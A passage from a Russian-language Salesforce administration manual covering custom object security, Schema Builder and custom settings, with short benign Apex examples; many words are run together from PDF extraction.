Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com.

Вкладки недоступны в
версии Database.com
Edition.

Данный раздел содержит рекомендации по использованию совокупности параметров
безопасностидляуниверсальногоопределенияуровнядоступакнастраиваемымобъектам.

Задайте безопасность настраиваемых объектов на следующих уровнях:

• «Вкладка»: отображениенастраиваемойвкладкидлясоответствующихпользователей
на основе профилей.

• «Объект»: определение уровня доступа пользователя для создания, чтения,
редактирования и удаления записей каждого объекта.

• «Записи»: определениестандартноймоделиобщегодоступадлявсехпользователей.
Данный уровень определяет доступ пользователей к чужим записям настраиваемых
объектов.

• «Взаимосвязь»: определение уровня общего доступа пользователей к основной
записи во взаимосвязи «Основная — подробная» для создания, редактирования и
удалениясвязанныхзаписей, являющихсяподробными. Данныйуровеньопределяется
атрибутом «Настройка общего доступа» для поля взаимосвязи
«Основная — подробная» в подробном объекте.

• «Поля»: определение уровня доступа пользователей к полям в макете страницы
настраиваемого объекта.

Ниже перечислены требования, которые применяются к настраиваемым объектам без взаимосвязи
«Основная — подробная».

Обязательные полномочияДействие

Полномочие «Создание». Создание записей посредством
раскрывающегося списка «Создать...» на боковой панели

Создание записи

доступно пользователям только при наличии доступа ко
вкладке.

Полномочие «Чтение» и модель общего доступа
«Общедоступный: только для чтения» или

Просмотр записи

«Общедоступный: длячтенияи записи», еслипользователь
не является ответственным за запись.

Полномочие «Редактирование» и модель общего доступа
«Общедоступный: длячтенияи записи», еслипользователь
не является ответственным за запись.

Редактирование записи

Полномочие «Удаление» и ответственность за запись или
вышестоящее положение в иерархии ролей.

Удаление записи

Ниже перечислены требования, которые применяются к настраиваемым объектам, связанным со стандартным или
настраиваемым объектом посредством взаимосвязи «Основная — подробная».

Обязательные полномочияДействие

Полномочие «Создание» и доступ на чтение или чтение и
запись к связанной основной записи, в зависимости от

Создание записи
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Обязательные полномочияДействие

значения атрибута «Настройка общего доступа» дляполя
взаимосвязи «Основная — подробная» в подробном
объекте.

Полномочие «Чтение» и доступ на чтение к связанной
основной записи. Если запись содержит две основные

Просмотр записи

записи во взаимосвязи «многие ко многим», то
пользователюдолженбытьпредоставлендоступдлячтения
обеих основных записей.

Полномочие «Редактирование» и доступ на чтение или
чтение и запись к связанной основной записи, в

Редактирование записи

зависимости от значения атрибута «Настройка общего
доступа» для поля взаимосвязи «Основная — подробная»
в подробном объекте.

Полномочие «Удаление» и доступ на чтение или чтение и
запись к связанной основной записи, в зависимости от

Удаление записи

значения атрибута «Настройка общего доступа» дляполя
взаимосвязи «Основная — подробная» в подробном
объекте.

Если пользователь удаляет запись, связанную с записями
настраиваемого объекта, то все связанные записи
настраиваемогообъекта удаляютсянезависимоотналичия
полномочия на удаление настраиваемого объекта.

Делегированные администраторы могут управлять почти всеми аспектами указанных настраиваемых объектов, но не
могут создавать и изменять взаимосвязи объекта или настраивать единые стандартные параметры общего доступа.

Примечания по включению действий для настраиваемых объектов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

• Включение действий при создании настраиваемого объекта инициирует
автоматическое добавление связанных списков действий в стандартный макет
страницы. При включении действий после создания настраиваемого объекта
связанные списки должны быть добавлены в макет страницы вручную.

• Отключениедействийдлянастраиваемогообъектанеинициируетудалениетекущих
записей действий, ноинициирует удаление связанных списков действий со страниц
настраиваемого объекта, а также отчетов, содержащих действия и настраиваемый
объект.

• Если настраиваемый объект связан с организациями посредством взаимосвязи
«Основная—подробная», тодействиянастраиваемогообъектасводятсякорганизации
и инициируют обновление поля организации «Последнее действие». Если
настраиваемый объект связан с другими типами записей, то действия не сводятся.
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• Возможностьотправкисообщенийэл. почтыилисозданиядокументовстандартныхписемподдерживаетсядействиями
для настраиваемых объектов. Сообщение эл. почты должно быть отправлено контакту или интересу.

• Изменение ответственности за запись настраиваемого объекта инициирует назначение всех связанных открытых
действий ответственному за новую запись.

• Отслеживание действий не может быть отключено для настраиваемого объекта при наличии любых задач
бизнес-правила, связанныхсданнымнастраиваемымобъектом, илизадачисобытий, являющихсядочерниминаборами
данных настраиваемого объекта в мобильной конфигурации.

• Включение действий для настраиваемого объекта позволяет связывать его записи только с журналом вызовов в
приложении Salesforce CRM Call Center.

СМ. ТАКЖЕ:

Определение настраиваемого объекта

Управление настраиваемыми объектами и полями посредством
конструктора схем

Общие сведения о конструкторе схем

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Конструктор схем — это динамическая среда для просмотра иизменения всех объектов
и взаимосвязей в приложении. Данная среда позволяет быстро создавать, внедрять и
изменять модель данных (или схему).

Пользователи могут просматривать текущие схемы, а также добавлять новые
настраиваемые объекты, настраиваемые поля и взаимосвязи путем обычного
перетаскивания. Конструктор схем автоматически применяет внесенные изменения и
сохраняетмакет схемыприкаждомперемещенииобъекта. Данныйалгоритмисключает
необходимость перехода между страницами для поиска сведений о взаимосвязи или
добавления нового настраиваемого поля в объект схемы.

Конструктор схем позволяет просматривать сведения (например, значения полей, обязательные поля и взаимосвязи
объектов) путем отображения взаимосвязей «Поиск» и «Основная — подробная».Пользователи могут просматривать
поля и взаимосвязи для стандартных и настраиваемых объектов.

Поддержка конструктора схемвключенапоумолчанию. Нижеперечисленыкомпоненты, которыемогутбытьдобавлены
в схему.

• Настраиваемые объекты

• Взаимосвязи «Поиск»

• Взаимосвязи «Основная — подробная»

• Все настраиваемые поля, кроме: Геолокация

СМ. ТАКЖЕ:

Работа с конструктором схем

Типы настраиваемых полей
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Работа с конструктором схем

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра объектов в
конструкторе схем:
• «Настройка

приложения»

Чтобыполучить доступ к конструктору схем, введите строку «Конструктор схем» в поле
«Быстрый поиск» в меню «Настройка» и выберите пункт «Конструктор схем».

Ниже перечислены действия, доступные в конструкторе схем.

• Выберите объект и перетащите его в нужную область холста. Конструктор схем
сохраняет макет схемы при каждом перемещении объекта.

• Чтобы выполнить автоматическую сортировку макета объектов схемы, нажмите
кнопку «Автомакет».

Важное замечание: Нажатие кнопки «Автомакет» является необратимым.

• Нажмите кнопку «Параметры просмотра» и выберите нужное действие.

– «Отображение имен элементов» (для отображения системных имен) или
«Отображение меток элементов» (для отображения текстовых значений)

– «Показать взаимосвязи»/«Скрыть взаимосвязи»

– «Показать условные обозначения»/«Скрыть условные обозначения»

• Вкладка «Элементы»позволяетперетаскиватьновыенастраиваемыеобъектыиполя
на холст.

– Дополнительную информацию о создании настраиваемого объекта см. в разделе «Создание объектов в
конструкторе схем».

– Дополнительную информацию о создании настраиваемого поля см. в разделе «Создание полей в конструкторе
схем».

• Вкладка «Объекты» позволяет выбирать объекты для отображения на холсте.

– Чтобыотфильтровать списокобъектов, выберитенужное значение враскрывающемся спискенабоковойпанели.

• Все объекты

• Выбранные объекты

• Стандартные объекты

• Настраиваемые объекты

• Системные объекты

Прим.: Объекты, созданные вне конструктора схем (например, посредством приложения или API), не
отображаются автоматически на холсте. Чтобы разрешить отображение объекта, созданного вне
конструктора схем, на холсте, установите соответствующийфлажок.

– Чтобы найти объект, введите имя нужного объекта в поле «Быстрый поиск...».

– Чтобынайти объект на холсте, наведите указатель мышина нужныйобъект в списке объектов ищелкните значок
.

• Чтобыпросмотреть сведенияо взаимосвязи (например, взаимосвязь «Поиск» или «Основная — подробная»), наведите
указатель мыши на нужную линию взаимосвязи. Чтобы найти объект на холсте, щелкните имя нужного объекта.
Рекомендуем скрывать взаимосвязи в случае долгой загрузки схемы.

• Чтобыпросмотреть сведенияополе в новомокне, правой кнопкоймышищелкнитеимяилиметку нужного элемента
и выберите пункт «Просмотр поля в новом окне».
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• Чтобы изменить свойства настраиваемого поля, щелкните имя или метку нужного элемента и выберите пункт
«Редактировать свойства поля...».

• Чтобы управлять полномочияминастраиваемого поля, щелкните имя или метку нужного элемента и выберите пункт
«Управлениеполномочиямиполя». Всплывающеедиалоговоеокнопозволяет управлятьпараметрамидоступности
и записываемости поля для всех стандартных и настраиваемых профилей. По умолчанию настраиваемые поля
доступны внутренним профилям для просмотра и редактирования. Профили, созданные на основе профиля
«Пользователь-партнер» или «Менеджер клиентского портала», не считаются внутренними. Поля, которые обычно
недоступныдля редактирования (например, формулыиполя сводного резюмирования), доступны только для чтения
и просмотра.

• Щелкните значок и выберите нужное действие.

– «Скрыть объекты на холсте»

– «Просмотр объекта» (сведения в новом окне)

– «Просмотр макетов страниц» (сведения в новом окне)

• Чтобыпросмотретьвсеполяобъекта, содержащегобольшоеколичествополей (например, «Интерес» или «Кампания»),
щелкните «Показать дополнительные поля».

• Чтобы увеличить масштаб, щелкните значок . Чтобы уменьшить масштаб, щелкните значок .

Прим.: Уровень масштабирования не может быть сохранен при закрытии конструктора схем.

•
Чтобы свернуть боковую панель, щелкните значок . Чтобы развернуть боковую панель, щелкните значок .

• Карта внижнемправомуглу экранаотображаетобщиймакетобъектовнахолсте. Щелкнитепокарте дляперемещения
по объектам. Чтобы просмотреть увеличенный макет схемы, щелкните холст и сдвиньте указатель мыши в нужное
направление.

• Чтобы закрыть конструктор схем и сохранить макет объектов, нажмите кнопку «Закрыть».

Важное замечание: Количествообъектовиполей, используемыхсхемой, влияетна время загрузки. Чтобыповысить
производительность конструктора схем, щелкните «Скрыть взаимосвязи».

СМ. ТАКЖЕ:

Создание объектов в конструкторе схем

Создание полей в конструкторе схем

Поиск по параметрам управления объектами
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Создание объектов в конструкторе схем

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания настраиваемых
объектов в конструкторе
схем:
• «Настройка

приложения»

Чтобы создать настраиваемый объект в конструкторе схем, выполните указанные ниже
действия.

1. Откройте вкладку «Элементы».

2. Щелкните «Объект» и перетащите его на холст.

3. Чтобыопределитьобъект, введите соответствующиесведения. Списокопределений
объекта см. в разделе «Определение настраиваемого объекта в конструкторе схем»
на странице 4479.

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Определение настраиваемого объекта в конструкторе схем

Создание полей в конструкторе схем

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания полей в
конструкторе схем:
• «Настройка

приложения»

Чтобы создать настраиваемое поле в конструкторе схем, выполните указанные ниже
действия.

1. Откройте вкладку «Элементы».

2. Щелкните нужное поле и перетащите его в объект на холсте.

3. Заполните поле «Метка поля».

Система Salesforce заполняет поле «Имя поля» меткой поля. Данное имя должно
бытьуникальнымиможетсодержатьтолькобуквы, цифрыисимволыподчеркивания.
Имя должно начинаться с буквы; не может содержать пробелов и двух
последовательныхсимволовподчеркивания, атакженеможетзаканчиватьсясимволом
подчеркивания.

Убедитесь в уникальности имени и метки настраиваемого поля объекта.

• Еслиименаилиметки стандартногоинастраиваемогополей совпадают, тополе
слияния содержит значение настраиваемого поля.

• Если имена или метки двух настраиваемых полей совпадают, то поле слияния
может содержать непредвиденное значение.

Еслипри созданииметкиполя «Эл. почта» уже существует стандартноеполе «Эл. почта», тополе слиянияможет
не различать имена полей. Чтобы гарантировать уникальность имени настраиваемого поля, рекомендуем дополнить
его символами. Например, «Эл. почта12».

4. Заполните поле «Описание».

5. Чтобы указать назначение и функцию настраиваемого поля, заполните поле «Текст справки».

6. Чтобы автоматически вставлять значение настраиваемого поля при создании записи, заполните поле «Значение по
умолчанию».

7. В зависимости от выбранного типа настраиваемого поля, укажите остальные атрибуты.
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8. Нажмите кнопку «Сохранить».

Любоеполе, добавляемоепосредствомконструктора схем, неподлежит автоматическомудобавлениювмакет страницы.
Чтобы определить область отображения поля, воспользуйтесь редактированием макета страницы.

Удаление настраиваемых объектов посредством конструктора схем

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удалениянастраиваемых
объектов в конструкторе
схем:
• «Настройка

приложения»

Конструктор схем позволяет удалять настраиваемые объекты.

При попытке удаления настраиваемого объекта конструктор схем отображает список
побочныхэффектов. Преждечемпродолжитьудаление, убедитесь, чтоданныепобочные
эффекты могут быть приняты. См. разделы «Удаление настраиваемых объектов» на
странице4451и «Управлениеудаленныминастраиваемымиобъектами»настранице4453.

1. Щелкните значок настраиваемого объекта .

2. Выберите «Удалитьобъект...». Побочныеэффектыудаленияобъектаописываются
в диалоговом окне. Рекомендуем внимательно просмотреть данную информацию.

3. Чтобыпринятьусловия, установитефлажок «Да, удалитьнастраиваемыйобъект».

4. Нажмите кнопку «Удалить».

Удаление настраиваемых полей посредством конструктора схем

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удалениянастраиваемых
полей в конструкторе схем:
• «Настройка

приложения»

Конструктор схем позволяет удалять настраиваемые поля.

При попытке удаления настраиваемого поля конструктор схем отображает список
побочныхэффектов. Преждечемпродолжитьудаление, убедитесь, чтоданныепобочные
эффекты могут быть приняты.

1. Правой кнопкой мышищелкните нужное настраиваемое поле.

2. Выберите «Удалить поле...». Побочные эффекты удаления настраиваемого поля
описываются в диалоговом окне. Рекомендуем внимательно просмотреть данную
информацию.

3. Чтобы принять условия, установите флажок «Да, удалить настраиваемое поле».

4. Нажмите кнопку «Удалить».
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Определение настраиваемого объекта в конструкторе схем

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ОписаниеПоле

Имя, используемое для обозначения
объекта на всех страницах
пользовательского интерфейса.

Метка

Имя объекта во множественном числе.
Данное имя используется на вкладке,
созданной для объекта.

Метка множественного числа

При необходимости укажите, следует ли
использовать артикль, заканчивающийся
на согласную букву, перед меткой.

Начинается с гласного звука

Уникальное имя, позволяющее ссылаться
на объект при использовании API. Данное

Имя объекта

уникальное имя позволяет избежать
конфликтов имен при установке
управляемыхпакетов. Поле «Имяобъекта»
может содержать только буквы, цифры и
символыподчеркивания. Имядолжнобыть
уникальным и начинаться с буквы; не
может содержать пробелов и двух
последовательных символов
подчеркивания, а также не может
заканчиваться символом подчеркивания.

Дополнительное описание объекта.Описание

Имя, используемое в макетах страниц,
списковых представлениях, связанных
списках и результатах поиска.

Имя записи

Тип поля (текст или автонумерация) для
имени записи. Записи, которым вместо

Тип данных

имени присваивается уникальный код,
используют поля автонумерации.
Автонумерация — это уникальное число,
которое назначается автоматически.
Данное поле всегда доступно только для
чтения.

Чтобыразрешить составлениеотчетовпо
данным, доступным в записях

Разрешить отчеты

настраиваемого объекта, установите
данныйфлажок.

Чтобы создать отчеты по настраиваемым
объектам, выберитекатегориютипаотчета
«Другие отчеты», если настраиваемый
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ОписаниеПоле

объект не связан со стандартным объектом. Если
настраиваемый и стандартный объекты связаны
посредством взаимосвязи «Основная — подробная» или
«Поиск», выберите стандартныйобъект для категориитипа
отчета.

Чтобы разрешить пользователям связывание задач и
запланированных календарных событий, связанных с

Разрешить действия

записями настраиваемого объекта, установите данный
флажок.

Чтобы разрешить организации отслеживание изменений
полейв записяхнастраиваемогообъекта (например, автора

Отслеживать журнал поля

изменения, время изменения, а также значения поля до и
после изменения), установите данныйфлажок. Данные
журнала доступны для составления отчетов, поэтому при
наличии данного флажка пользователи могут быстро
создавать отчеты по контрольным журналам.

Если организация использует подразделения, установите
данныйфлажок, чтобывключитьподдержкуподразделений

Включить подразделения

для настраиваемых объектов. Группировка записей по
подразделениям позволяет упростить результаты поиска,
списковые представления, отчеты и другие области
Salesforce. Salesforce добавляет поле «Подразделение» в
настраиваемыйобъект. Еслинастраиваемыйобъектявляется
основным во взаимосвязи «Основной — подробный», в
настраиваемых объектах на стороне подробных также
создается поле «Подразделение», значение которого
наследуется от основной записи.

Установитеданныйфлажок, чтобыразрешитьотображение
настраиваемого объекта на клиентском портале Salesforce.

Доступно для клиентского портала

Префикс пространства имен — это идентификатор,
содержащий не более 15 символов и отличающий пакет и

Префикс пространства имен

его содержимое от пакетов других разработчиков
AppExchange. Префиксы пространства имен не
чувствительны к регистру. Например, префиксы ABC и abc
считаются одинаковыми. Префикс пространства имен
должен быть глобально уникальным во всех организациях
Salesforce. Префикс пространства имен позволяет
контролировать управляемый пакет только
соответствующему пользователю.

Данное поле определяет доступность настраиваемого
объекта другим пользователям.

Статус развертывания
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ОписаниеПоле

Данное поле позволяет пользователям прикреплять
примечанияивложенияк записямнастраиваемогообъекта.

Данный параметр доступен только при создании объекта.

Добавить примечания и вложения...

Создание уникальных наборов данных

Настраиваемые параметры

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Developer Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Database.com Edition.

Пакетынедоступныв версии
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования, удаления и
управлениянастраиваемыми
параметрами:
• «Настройка

приложения»

Настраиваемые параметры можно использовать для создания настраиваемых наборов
данных или создания и связи настраиваемых данных организации, профиля или
пользователя.

Настраиваемые параметры аналогичны настраиваемым объектам и позволяют
настраивать данные организации. В отличие от настраиваемых объектов, на основе
которых можно создавать записи, настраиваемые параметры позволяют использовать
настраиваемые наборы данных организации или фильтровать пользователей или
профили на основе настраиваемых критериев.

Данные настраиваемых параметров хранятся в кэше приложения, который доступен
пользователямбез отправкиповторяющихся запросов в базу данных. Эти данныемогут
использоваться полями формулы, правилами проверки, потоками, кодом Apex и
интерфейсом SOAP API.

Прим.: Вместо настраиваемых параметров списка рекомендуется использовать
типы настраиваемых метаданных на странице 5816. В отличие от настраиваемых
параметров списка записи типов настраиваемых метаданных можно переносить
посредством пакетов или средств Metadata API.

Существует два типа настраиваемых параметров:

Настраиваемые параметры списка
Типнастраиваемогопараметра, предоставляющиймногоразовыйнаборстатических
данных, которые могут быть доступны в организации. Отдельный набор данных,
используемыйвприложениичащеостальных, можетбытьдобавленвнастраиваемый
параметр списка с целью предоставления более удобного доступа. Данные в
параметрах списка одинаковы для профиля и пользователя, а также доступны для
всей организации. Примеры данных списка: двухзначные аббревиатурыштатов,
префиксы набора международных номеров и номера каталогов для продуктов.
Кэширование данных обеспечивает быстрый и эффективный доступ, который не требует использования запросов
SOQL, учитываемых контролирующими ограничениями.

Настраиваемые параметры иерархии
Тип настраиваемого параметра, использующий встроенную иерархическую логику, которая позволяет
персонализировать параметры для отдельных профилей или пользователей. Иерархическая логика проверяет
параметры организации, профиля и пользователя для текущего пользователя и возвращает самое определенное или
минимальное значение. Параметры организации в иерархии переопределяются параметрами профиля, которые, в
свою очередь, переопределяются параметрами пользователя.

Ниже приведены примеры использования настраиваемых параметров.
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• Приложение для отслеживания доставок, требующее ввода кодов стран для международных доставок. Создание
параметра списка для всех кодов стран предоставляет пользователям быстрый доступ к данным без отправки запроса
в базу данных.

• Приложение для расчета и отслеживания компенсаций, выплачиваемых торговым представителям, определяющее
комиссионныйпроцентнаосноветрудовогостажа. Созданиепараметраиерархиипозволяетадминистраторусвязывать
разныекомиссионныепроцентыдлякаждогопрофиля, используемогов торговойорганизации. Вприложении: одно
полеформулыможетиспользоватьсядля точногорасчета компенсацийвсехпользователей, аперсонализированный
параметр на уровне профиля — для вставки правильного комиссионного процента.

• Приложение, отображающее карту с адресами организации, оптимальныймаршрут и транспортную загруженность.
Данная информация может быть полезна торговым представителям, а менеджеров по работе с клиентами могут
интересовать только адреса организации. Создание параметра иерархии с настраиваемыми полями кнопки-флажка
для маршрута и транспортной загруженности позволяет отображать данную информацию только торговым
представителям.

Чтобы создать и использовать настраиваемые параметры, выполните указанные ниже действия.

1. Создайте настраиваемый параметр.

2. Добавьте поля в настраиваемый параметр.

3. Добавьте данные и выберите уровень доступа для данных настраиваемого параметра.

4. Добавьте ссылку на данные настраиваемого параметра в приложение с помощьюполейформулы, правил проверки,
кода Apex или SOAP API.

Кроме того, настраиваемый параметр может быть добавлен в пакет. Доступность настраиваемого параметра в пакете
определяется параметром «Доступность».

Прим.: Пакеты дополняются только определениями настраиваемых параметров, а не данными. Чтобы добавить
данные, рекомендуем задать значения настраиваемых параметров с помощью стандартного сценария Apex или API,
выполненного организацией-подписчиком после установки пакета.

СМ. ТАКЖЕ:

Просмотр настраиваемых параметров

Ограничения и рекомендации по использованию настраиваемых параметров
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Доступ к настраиваемым параметрам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Developer Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Database.com Edition.

Пакетынедоступныв версии
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования, удаления и
управлениянастраиваемыми
параметрами:
• «Настройка

приложения»

Настраиваемые параметры доступны в полях формулы, правилах проверки, коде Apex
и SOAP API. Ниже приведены некоторые примеры сегментов кода.

Поляформулы
Вотличиеотнастраиваемыхпараметровиерархии, настраиваемыепараметрысписка
не поддерживают поля формулы.

{!$Setup.CustomSettingName__c.CustomFieldName__c}

Apex
Код Apex может использовать оба типа настраиваемых параметров.

Прим.: Если поле настраиваемого параметра «Конфиденциальность» содержит значение «Защищенный»,
а сам настраиваемый параметр используется управляемым пакетом, то организация подписчика не может
редактировать или просматривать его значения посредством Apex.

Примеры настраиваемых параметров списка
При добавлении данных в настраиваемый параметр каждому набору данных должно быть назначено имя. Имена
позволяютпользователямразличатьнаборыданных. Примернижевозвращаетсоотнесениеданныхнастраиваемых
параметров. Метод getAll возвращает значениядля всехнастраиваемыхполей, связанныхспараметромсписка.

Map<String_dataset_name, CustomSettingName__c> mcs = CustomSettingName__c.getAll();

Пример ниже использует метод getValues для возврата всех значений полей, связанных с определенным
набором данных. Данный метод может использоваться настраиваемыми параметрами списка и иерархии,
использующими разные параметры.

CustomSettingName__c mc = CustomSettingName__c.getValues(data_set_name);
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Примеры настраиваемых параметров иерархии
Примернижеиспользуетметод getOrgDefaults для возврата значенийнабораданныхнауровнеорганизации.

CustomSettingName__c mc = CustomSettingName__c.getOrgDefaults();

Пример ниже использует метод getInstance для возврата значений набора данных на уровне выбранного
профиля. Кроме того, метод getInstance может использоваться с кодом пользователя.

CustomSettingName__c mc = CustomSettingName__c.getInstance(Profile_ID);

SOAP API
Настраиваемые параметры, поле «Конфиденциальность» которых содержит значение «Общедоступный»,
используются интерфейсом API также, как настраиваемые объекты.

Прим.: Еслиполе «Конфиденциальность» содержитзначение «Защищенный», а самнастраиваемыйпараметр
используется управляемымпакетом, тоAPIнеможетиспользоватьсяорганизациейразработчикаилиподписчика
для доступа к данному настраиваемому параметру.

Чтобы отправить запрос или выполнить операцию по настройке полномочий профиля, воспользуйтесь любым
инструментом, поддерживающим API-доступ.

Прим.: Данные настраиваемых параметров также доступны посредством запроса SOQL; однако данный метод не
использует кэш приложения, так как аналогичен запросу на настраиваемый объект.

СМ. ТАКЖЕ:

Настраиваемые параметры
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Определение настраиваемых параметров

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Developer Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Database.com Edition.

Пакетынедоступныв версии
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования, удаления и
управлениянастраиваемыми
параметрами:
• «Настройка

приложения»

Чтобы создать или изменить настраиваемый параметр, выполните указанные ниже
действия.

1. Введите строку «Настраиваемые параметры» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Настраиваемые параметры».

2. Чтобысоздатьнастраиваемыйпараметр, нажмитекнопку«Создать». Чтобыизменить
настраиваемый параметр, щелкните ссылку «Правка» напротив имени нужного
настраиваемого параметра или кнопку «Правка» на странице сведений о
настраиваемом параметре.

Прим.: Значок указывает на использование настраиваемого параметра в
установленномуправляемомпакете. Настраиваемыйпараметр, установленный
из управляемого пакета, не может быть изменен или удален.

3. Заполните указанные ниже поля.

• «Метка»: ввод метки, отображаемой в приложении.

• «Имя объекта»: ввод имени, используемого для обращения к настраиваемому
параметру в полях формулы, правилах проверки, коде Apex или SOAP API.

Прим.: При заполнении поля «Имя объекта» компания Salesforce
рекомендует использовать код ASCII. Длина имени не может превышать
38 символов ASCII. При использовании двухбайтовой кодировки символов
существуют дополнительные ограничения по их количеству.

• «Тип параметра»: выбор типа настраиваемого параметра («Список» или
«Иерархия»). Тип «Список» определяетданныенауровнеприложения (например,
коды стран или аббревиатурыштатов). Тип «Иерархия» определяет личные
параметры, которые могут быть переопределены на нижних уровнях иерархии
(например, стандартные значения полей).

Важное замечание: Данное значениенеможетбытьизмененопосле сохранениянастраиваемогопараметра.

• «Доступность»: выбор уровня доступности («Защищенный» или «Общедоступный»).

– «Защищенный»: настраиваемый параметр, добавленный в управляемый пакет, недоступен
организациям-подписчикам, так как отсутствует в списке пакетов. Кроме того, код Apex или API не может
использоваться организациями-подписчиками для доступа к настраиваемому параметру, но может
использоваться организациями-разработчиками. Подобно любому настраиваемому объекту, настраиваемый
параметр, добавленный в неуправляемый пакет, доступен посредством Enterprise WSDL (аналогично значению
«Общедоступный» в параметре «Доступность»).

– «Общедоступный»: подобнолюбомунастраиваемомуобъекту, настраиваемыйпараметрдоступенпосредством
Enterprise WSDL. Настраиваемыйпараметр, определенныйкак «Общедоступный», можетбыть добавлен впакет.
Независимоот типапакета (управляемыйилинеуправляемый), организации-подписчикимогутредактировать
и просматривать значения с помощью Apex или API.

Важное замечание: Данное значениенеможетбытьизмененопосле сохранениянастраиваемогопараметра.

4. Введите дополнительное описание настраиваемого параметра. При просмотре списка настраиваемых параметров
подробное описание позволяет легко отличить один настраиваемый параметр от другого.
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5. Нажмите кнопку «Сохранить».

Прим.: Впакеты добавляются только определения настраиваемых параметров, а не их данные. Чтобы добавить
данные, рекомендуем задать значения настраиваемых параметров с помощью стандартного сценария Apex или
API, выполненного организацией-подписчиком после установки пакета.

После создания настраиваемого параметра рекомендуем добавить поля.

СМ. ТАКЖЕ:

Добавление полей настраиваемых параметров

Добавление данных настраиваемых параметров

Просмотр настраиваемых параметров

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Developer Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Database.com Edition.

Пакетынедоступныв версии
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования, удаления и
управлениянастраиваемыми
параметрами:
• «Настройка

приложения»

Пользователь, создавший настраиваемый параметр, может просматривать сведения о
нем, управлять им и добавлять в него поля.

Введите строку «Настраиваемые параметры» в поле «Быстрый поиск» в меню
«Настройка», выберите пункт «Настраиваемые параметры» ищелкните по имени
нужного настраиваемого параметра. Ниже перечислены действия, доступные при
просмотре настраиваемого параметра.

• Чтобы изменить настраиваемый параметр, щелкните ссылку «Правка».

• Чтобы удалить настраиваемый параметр, щелкните ссылку «Удал.».

Прим.: Значок указывает на использование настраиваемого параметра в
установленномуправляемомпакете. Настраиваемыйпараметр, установленный
из управляемого пакета, не может быть изменен или удален.

• Чтобыдобавитьданныевнастраиваемыйпараметр, щелкнитессылку «Управление».

Чтобы добавить поля в настраиваемый параметр, нажмите кнопку «Создать».

СМ. ТАКЖЕ:

Определение настраиваемых параметров
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Добавление полей настраиваемых параметров

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Developer Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Database.com Edition.

Пакетынедоступныв версии
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования, удаления и
управлениянастраиваемыми
параметрами:
• «Настройка

приложения»

После определения настраиваемых параметров рекомендуем добавить поля.
Настраиваемые поля содержат данные, которые используются настраиваемым
параметром.

1. Введите строку «Настраиваемые параметры» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Настраиваемые параметры».

2. Щелкните нужный настраиваемый параметр. (При создании настраиваемого
параметра открывается страница «Сведения о настраиваемом параметре».)

3. Нажмите кнопку «Создать».

4. Выберите тип поля и нажмите кнопку «Далее».

Прим.: Размер записи определяется максимальным размером поля каждого
типа. При добавлении полей в определение настраиваемого параметра
рекомендуемиспользоватьсоответствующийтипизадаватьдлину, являющуюся
оптимальнойдлявыбранноготипаданных. Данноедействиепозволяетизбежать
превышенияограничениядлякэшированныхданных. Например, присоздании
поляномерасоциальногообеспечениявыберитетипданных «Текст» ивведите
значение «9». При выборе типа данных «Область текста» каждая запись,
содержащая данное поле, увеличивает показатели использования на
255 символов, независимо от количества введенных символов.

5. Введите сведения для поля.

6. По завершении нажмите кнопку «Сохранить» или «Сохранить и создать».

После добавления полей рекомендуем добавить данные и указать уровень доступа для
настраиваемых параметров иерархии.

СМ. ТАКЖЕ:

Добавление данных настраиваемых параметров
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Управление данными настраиваемых параметров

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Developer Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования, удаления и
управлениянастраиваемыми
